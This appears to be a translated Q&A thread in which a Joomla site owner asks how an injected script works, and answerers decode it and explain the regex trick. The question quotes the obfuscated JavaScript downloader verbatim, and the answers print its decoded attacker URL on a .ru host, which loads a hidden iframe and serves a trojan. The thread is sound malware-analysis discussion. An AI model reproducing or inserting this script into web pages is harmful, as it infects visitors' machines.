我的Joomla!网站一再被黑客入侵。不知何故,某人设法将以下垃圾注入关键的php脚本中,但我的意思是不要谈论配置Joomla。该网站访问量不大(有时我担心我可能是该网站的唯一访问者...)而且我并不关心网站是否备份和运行。我最终会处理它。
我的问题是,这种垃圾是如何运作的?我看着它,我只是看不出它如何造成任何伤害?它的作用是尝试下载一个名为ChangeLog.pdf的PDF文件,该文件感染了一个木马,打开后会冻结你的Acrobat并对你的机器造成严重破坏。它怎么做,我不知道,我不在乎。但是下面的脚本如何调用下载?
<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
ESET已将此代码检测为 JS / TrojanDownloader.Agent.NRO trojan
答案 0 :(得分:177)
请注意巨型凌乱字符串后的replace
调用:.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
。
删除大多数特殊字符,将其转换为普通网址:
evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
(我手动将http:
更改为evil:
)
请注意,正则表达式可能已简化为.replace(/[#$@^&()!]/ig, '')
如果查看脚本,您会发现这是一个非常简单的脚本,它从同一个域注入包含路径/index.php?ys
的隐藏IFRAME。
我在Fiddler中请求了该页面,但它没有任何内容。
答案 1 :(得分:33)
这些答案可能有助于您了解恶意JavaScript代码的性质,但您应该寻找的方法是关闭Joomla引擎中的漏洞。预先打包的框架容易出现漏洞,无论是有意还是无意,特别是当您考虑到它们被设计为在unix,mac和windows环境中工作时。
我的工作要求我在客户和我自己的许多类型的服务器和系统上运行许多域,应用程序和框架。随着时间的推移,我看到越来越多的机器人爬行这些系统寻找已知的漏洞/入口,这些漏洞/入口是由这些框架创建的后门入口。当我使用任何类型的框架时都很好,我很少这样做,我确保重命名大部分,如果不是整个文件结构,以摆脱那些讨厌的漏洞/后门。至少你可以重命名会抛弃大多数机器人的目录,但我的方法是完全消除那些提供有关框架性质的线索的引用,其中包括重命名整个文件结构而不仅仅是目录。始终保留相对于旧命名约定的新命名约定的映射,以便快速添加插件到基础框架。一旦掌握了这一点,就可以以编程方式重命名整个框架文件结构以获得更快的结果,这在处理需要能够使用插件等更新其框架的客户端时尤为有用。 / p>
答案 2 :(得分:20)
它只是在脚本网址上进行正则表达式替换,以便为您提供
注意:请勿遵循以下链接(插入**
以阻止复制粘贴)
http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
作为src
答案 3 :(得分:8)
它使用replace函数替换使用正则表达式的垃圾字符,代码没有错:
........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
答案 4 :(得分:7)
来自
的加载脚本h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
该脚本从可见性iframe
hidden
h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys
答案 5 :(得分:2)
当您阅读整个内容时,您会发现它是一个字符串后跟一个替换命令。
答案 6 :(得分:2)
我在index *。*文件的页面上有相同的sript。我正在用PHP编写自己的代码。 我的问题不是这是如何工作的,但如果你知道他们的后门,我会问如何保护。我更改了表单,并通过替换&lt;&gt;来读取$ _POST和$ _GET和http://等。
答案 7 :(得分:2)
我的两分钱。您是否可以安装Joomla备份工具,例如Joomlapack?
我已将它设置为通过CHRON脚本运行,以便在货币抢劫时保管货物。
你在运行什么版本的Joomla?
1.0.X版本不再更新,它的年龄真的开始显示。您应该自己做备份并计划升级到1.5并预测1.6的奇迹。